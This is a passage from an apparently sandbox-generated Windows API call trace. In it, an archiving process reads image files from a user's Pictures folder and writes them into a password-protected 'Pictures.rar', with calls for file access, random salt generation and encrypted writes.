hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0064.614] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x95acf [0064.614] CloseHandle (hObject=0x350) returned 1 [0064.614] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.614] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.614] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.614] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.614] FindFirstFileW (in: lpFileName="dw0z-rObH0-zF2.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eec70 [0064.614] FindClose (in: hFindFile=0x28b0c0eec70 | out: hFindFile=0x28b0c0eec70) returned 1 [0064.615] CreateFileW (lpFileName="dw0z-rObH0-zF2.png" (normalized: "c:\\users\\fd1hvy\\pictures\\dw0z-robh0-zf2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.615] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.615] GetTickCount () returned 0x26102 [0064.615] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.615] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.615] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.615] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.615] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0064.615] SetWindowTextW (hWnd=0x102c6, lpString="dw0z-rObH0-zF2.png") returned 1 [0064.615] GetTickCount () returned 0x26102 [0064.616] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.616] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.616] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.616] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.616] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x64)) [0064.616] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.616] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15594466548) returned 1 [0064.616] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1b35, lpOverlapped=0x0) returned 1 [0064.616] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70db75, nNumberOfBytesToRead=0xfe4cb, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70db75*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.616] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9430 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0064.616] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd50, Size=0x48) returned 0x28b084f98e0 [0064.616] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.616] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.616] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.616] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.617] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.617] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc60, Size=0x48) returned 0x28b084f9020 [0064.617] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9020, Size=0x7a) returned 0x28b084ed910 [0064.617] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.617] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0064.617] GetTickCount () returned 0x26102 [0064.617] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15594536010) returned 1 [0064.617] GetTickCount () returned 0x26102 [0064.617] GetTickCount () returned 0x26102 [0064.617] GetTickCount () returned 0x26102 [0064.617] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.617] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.617] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.617] ResetEvent (hEvent=0x344) returned 1 [0064.617] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.618] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] ResetEvent (hEvent=0x344) returned 1 [0064.618] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.619] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.619] GetTickCount () returned 0x26102 [0064.619] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15594726747) returned 1 [0064.619] GetTickCount () returned 0x26102 [0064.619] GetTickCount () returned 0x26102 [0064.619] GetTickCount () returned 0x26102 [0064.619] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.619] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.619] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.619] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x95acf [0064.619] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x95b33 [0064.619] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.619] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.619] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.619] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.619] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x1b60, lpOverlapped=0x0) returned 1 [0064.620] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.620] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.620] SetFilePointer (in: hFile=0x32c, lDistanceToMove=613071, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x95acf [0064.621] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x95acf [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.621] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9480 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.621] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9520 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f7b0 | out: hHeap=0x28b08430000) returned 1 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0064.621] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9ca0 [0064.621] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9ca0, Size=0x7a) returned 0x28b084ecb90 [0064.621] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecb93*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecb93*, lpNumberOfBytesWritten=0xf00f8d8070*=0x64, lpOverlapped=0x0) returned 1 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.621] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x64) returned 0x28b08462bf0 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0064.621] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecb90 | out: hHeap=0x28b08430000) returned 1 [0064.621] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x97693 [0064.621] CloseHandle (hObject=0x350) returned 1 [0064.621] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.621] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.622] GetFocus () returned 0x102e2 [0064.622] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.622] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.622] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0064.622] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0064.622] GetFocus () returned 0x102e2 [0064.622] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0064.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.623] FindFirstFileW (in: lpFileName="FiPd_4qvOx8j.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee490 [0064.623] FindClose (in: hFindFile=0x28b0c0ee490 | out: hFindFile=0x28b0c0ee490) returned 1 [0064.623] CreateFileW (lpFileName="FiPd_4qvOx8j.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\fipd_4qvox8j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.623] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.623] GetTickCount () returned 0x26111 [0064.623] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.623] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.623] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.623] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.623] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="dw0z-rObH0-zF2.png") returned 18 [0064.623] SetWindowTextW (hWnd=0x102c6, lpString="FiPd_4qvOx8j.jpg") returned 1 [0064.624] GetTickCount () returned 0x26111 [0064.624] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.624] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.624] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.624] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.625] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x74)) [0064.625] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.625] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15595321350) returned 1 [0064.625] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xb5a9, lpOverlapped=0x0) returned 1 [0064.625] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7175e9, nNumberOfBytesToRead=0xf4a57, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7175e9*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.625] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.625] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.625] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9430 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0064.625] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9480 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0064.625] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0064.625] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9110 [0064.625] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9110, Size=0x7a) returned 0x28b084ed0a0 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0064.625] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0064.626] GetTickCount () returned 0x26111 [0064.626] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15595420948) returned 1 [0064.626] GetTickCount () returned 0x26111 [0064.626] GetTickCount () returned 0x26111 [0064.626] GetTickCount () returned 0x26111 [0064.626] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.626] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.626] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.626] ResetEvent (hEvent=0x344) returned 1 [0064.626] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.628] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.628] ResetEvent (hEvent=0x344) returned 1 [0064.628] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.629] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.629] GetTickCount () returned 0x26111 [0064.629] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15595802347) returned 1 [0064.629] GetTickCount () returned 0x26111 [0064.629] GetTickCount () returned 0x26111 [0064.629] GetTickCount () returned 0x26111 [0064.630] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.630] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.630] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.630] ResetEvent (hEvent=0x33c) returned 1 [0064.630] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.630] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.630] ResetEvent (hEvent=0x33c) returned 1 [0064.630] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.631] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.631] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.631] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.631] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x97693 [0064.631] SetFilePointer (in: hFile=0x32c, lDistanceToMove=100, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x976f7 [0064.631] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.631] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.631] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.631] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.631] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xb610, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xb610, lpOverlapped=0x0) returned 1 [0064.632] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.632] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.632] SetFilePointer (in: hFile=0x32c, lDistanceToMove=620179, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x97693 [0064.632] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x97693 [0064.632] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f960 [0064.632] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0064.632] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f8ee0 [0064.632] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.632] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0064.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9d40 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0064.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0064.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0064.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0064.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f960, Size=0x48) returned 0x28b084f98e0 [0064.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed400 [0064.633] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed403*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed403*, lpNumberOfBytesWritten=0xf00f8d8070*=0x64, lpOverlapped=0x0) returned 1 [0064.633] RtlAllocateHeap (HeapHandle=0x28b08430000, 